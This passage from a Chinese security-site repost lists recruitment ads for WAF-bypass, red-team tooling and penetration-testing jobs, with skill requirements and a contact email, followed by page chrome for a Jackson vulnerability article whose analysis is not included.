5.负责针对常见WAF产品规则进行测试并落地bypass方案

【岗位要求】
1.至少1年安全领域工作经验;
2.熟悉HTTP协议相关技术
3.拥有大型产品、CMS、厂商漏洞挖掘案例;
4.熟练掌握php、java、asp.net代码审计基础(一种或多种)
5.精通Web Fuzz模糊测试漏洞挖掘技术
6.精通OWASP TOP 10安全漏洞原理并熟悉漏洞利用方法
7.有过独立分析漏洞的经验,熟悉各种Web调试技巧
8.熟悉常见编程语言中的至少一种(Asp.net、Python、php、java)

【加分项】
1.具备良好的英语文档阅读能力;
2.曾参加过技术沙龙担任嘉宾进行技术分享;
3.具有CISSP、CISA、CSSLP、ISO27001、ITIL、PMP、COBIT、Security+、CISP、OSCP等安全相关资质者;
4.具有大型SRC漏洞提交经验、获得年度表彰、大型CTF夺得名次者;
5.开发过安全相关的开源项目;
6.具备良好的人际沟通、协调能力、分析和解决问题的能力者优先;
7.个人技术博客;
8.在优质社区投稿过文章;


岗位:安全红队武器自动化攻城狮
薪资:13-30K
工作年限:2年+
工作地点:杭州(总部)

【岗位职责】
1.负责红蓝对抗中的武器化落地与研究;
2.平台化建设;
3.安全研究落地。

【岗位要求】
1.熟练使用Python、java等至少一门语言作为主要开发语言;
2.熟练使用Django、flask 等常用web开发框架、以及熟练使用mysql、mongoDB、redis等数据存储方案;
3.熟悉OWASP TOP 10常见WEB安全漏洞原理;
4.对安全技术有浓厚的兴趣及热情,有主观研究和学习的动力;
5.具备正向价值观、良好的团队协作能力和较强的问题解决能力,善于沟通、乐于分享。

【加分项】
1.有高并发tcp服务、分布式等相关经验者优先;
2.在github上有开源安全产品优先;
3.在freebuf、安全客、先知等安全平台分享过相关技术文章优先;
4.在互联网企业有相关安全产品开发经验优先;
5.具备良好的英语文档阅读能力。

PS:邮件主题中请注明工作意向城市,岗位要求可通过加分项弥补



安全服务工程师/渗透测试工程师

————————

工作地点:新疆


1、掌握渗透测试原理和渗透测试流程,具备2年以上渗透测试工作经验,能够独立完成渗透测试方案和测试报告;
2、熟悉风险评估、安全评估;
3、熟练掌握各类渗透工具,如Sqlmap、Burpsuite、AWVS、Appscan、Nmap、Metasploit、Kali等;
4、熟练掌握Web渗透手法,如SQL注入、XSS、文件上传等攻击技术;
5、至少熟悉一种编程语言(php/java/python),能够独立编写poc者优先;
6、具有良好的沟通能力和文档编写能力,动手能力强;
7、对工作有热情,耐心、责任心强,具备沟通能力和良好的团队意识;
8、加分项:有安全开发经验/可进行代码审计工作;
9、加分项:有安全和网络相关证书,如CISSP、CISA、CISP 、CCNP、CCIE等认证者;
岗位职责:
1、参与安全服务项目实施,其中包括渗透测试与安全评估,代码审计,安全培训,应急响应;
2、独立完成安全服务项目报告编写,输出安全服务实施报告;



简历投递至 [email protected]


Jackson 安全漏洞分析

专注渗透测试技术

全球最新网络攻击技术


END

Jackson 安全漏洞分析



原文始发于微信公众号(白帽子):Jackson 安全漏洞分析

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年4月27日00:37:38
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Jackson 安全漏洞分析http://cn-sec.com/archives/949568.html

发表评论

匿名网友 填写信息